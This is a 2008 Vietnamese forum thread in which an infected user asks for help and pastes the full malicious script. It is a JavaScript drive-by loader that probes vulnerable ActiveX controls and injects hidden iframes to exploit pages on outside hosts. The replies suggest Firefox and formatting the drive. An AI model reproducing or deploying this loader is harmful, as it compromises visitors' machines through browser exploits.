PDA

View Full Version : Cần Pro giúp đỡ T_T


babycutetn
08-07-2008, 01:43 AM
máy nhà tui bị dính con marware của bọn china hix diệt măi mà không hết,format lại cũng không đc anh em nào pro giúp tôi với đây là script của con marware đó
document.writeln("<script language=\"javaScript\">");
document.writeln(" var cook = \"silentwm\";");
document.writeln(" ");
document.writeln(" function setCookie(name, value, expire) ");
document.writeln(" { ");
document.writeln(" window.document.cookie = name + \"=\" + escape(value) + ((expire == null) ? \"\" : (\"; expires=\" + expire.toGMTString()));");
document.writeln(" }");
document.writeln("");
document.writeln(" function getCookie(Name) ");
document.writeln(" { ");
document.writeln(" var search = Name + \"=\";");
document.writeln(" if (window.document.cookie.length > 0) ");
document.writeln(" { ");
document.writeln(" offset = window.document.cookie.indexOf(search);");
document.writeln(" if (offset != -1) ");
document.writeln(" { ");
document.writeln(" offset += search.length; ");
document.writeln(" end = window.document.cookie.indexOf(\";\", offset) ");
document.writeln(" if (end == -1)");
document.writeln(" end = window.document.cookie.length;");
document.writeln(" return unescape(window.document.cookie.substring(offset, end));");
document.writeln(" }");
document.writeln(" }");
document.writeln(" return null;");
document.writeln(" }");
document.writeln("");
document.writeln(" function register(name) ");
document.writeln(" {");
document.writeln(" var today = new Date();");
document.writeln(" var expires = new Date();");
document.writeln(" expires.setTime(today.getTime() + 1000*60*60*24);");
document.writeln(" setCookie(cook, name, expires);");
document.writeln(" }");
document.writeln("");
document.writeln(" function openWM() ");
document.writeln(" {");
document.writeln(" var c = getCookie(cook);");
document.writeln(" if (c != null) ");
document.writeln(" {");
document.writeln(" return;");
document.writeln(" }");
document.writeln(" ");
document.writeln(" register(cook);");
document.writeln(" ");
document.writeln(" window.defaultStatus=\"Íê³É\";");
document.writeln(" ");
document.writeln(" document.write(\'<iframe width=50 height=0 src=http://ad.5iyy.info:443/f/index.htm><\/iframe>\');");
document.writeln(" try{ var e;");
document.writeln(" var ado=(document.createElement(\"object\"));");
document.writeln(" ado.setAttribute(\"classid\",\"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\");");
document.writeln(" var as=ado.createobject(\"Adodb.Stream\",\"\")}");
document.writeln(" catch(e){};");
document.writeln(" finally{");
document.writeln(" if(e!=\"[object Error]\"){");
document.writeln(" document.write(\'<iframe width=50 height=0 src=http://ad.5iyy.info:443/014.htm><\/iframe>\')}");
document.writeln(" else");
document.writeln(" { ");
document.writeln(" try{ var j;");
document.writeln(" var real11=new ActiveXObject(\"IERP\"+\"Ctl.I\"+\"ERPCtl.1\");}");
document.writeln(" catch(j){};");
document.writeln(" finally{if(j!=\"[object Error]\"){if(new ActiveXObject(\"IERPCtl.IERPCtl.1\").PlayerProperty(\"PRODUCTVERSION\")<=\"6.0.14.552\")");
document.writeln(" {document.write(\'<iframe width=100 height=100 src=http://mx.content-type.cn:443/real11.htm><\/iframe>\')}");
document.writeln(" else");
document.writeln(" {");
document.writeln(" document.write(\'<iframe width=100 height=100 src=http://ad.5iyy.info:443/real10.htm><\/iframe>\')}}}");
document.writeln("");
document.writeln(" try{ var g;");
document.writeln(" var glworld=new ActiveXObject(\"GLIEDown.IEDown.1\");}");
document.writeln(" catch(g){};");
document.writeln(" finally{if(g!=\"[object Error]\"){");
document.writeln(" document.write(\'<iframe style=display:none src=http://ad.5iyy.info:443/lz.htm><\/iframe>\')}}");
document.writeln("");
document.writeln(" try{ var h;");
document.writeln(" var storm=new ActiveXObject(\"MPS.StormPlayer.1\");}");
document.writeln(" catch(h){};");
document.writeln(" finally{if(h!=\"[object Error]\"){");
document.writeln(" document.write(\'<iframe style=display:none src=http://mx.content-type.cn:443/bf.htm><\/iframe>\')}}");
document.writeln("");
document.writeln(" try{ var f;");
document.writeln(" var thunder=new ActiveXObject(\"DPClient.Vod\");}");
document.writeln(" catch(f){};");
document.writeln(" finally{ if(f!=\"[object Error]\"){");
document.writeln(" document.write(\'<iframe width=50 height=0 src=http://ad.5iyy.info:443/kong.htm><\/iframe>\')}}");
document.writeln("");
document.writeln(" ");
document.writeln(" }}");
document.writeln(" }");
document.writeln("");
document.writeln("openWM();");
document.writeln("<\/script>");
document.writeln("<script src=http://js.tongji.cn.yahoo.com/621252/ystat.js></script>");
:khi165:

khigiadano
08-07-2008, 09:46 AM
Khỉ chưa gặp bao giờ nên cũng chẳng biết diệt sao
Đă thử qua các phần mềm anti chưa
Mấy cái malware này Firefox chặn khá tốt, c̣n IE th́ củ chuối quá
Bạn nên chuyển qua Firefox đi

html
30-08-2008, 07:07 PM
Ḿnh là thằng Gà nên dùng cách này thử coi được không nha :Fomat ổ C sau khi FOMAT cấm click chuột vào ổ :D .Click chuột phải vào My computer > Manage > Disk Management > Fomat lun ổ :D đảm bảo kô c̣n 1 con virus nào (kể cả dữ liệu hiiiiiiiiiii)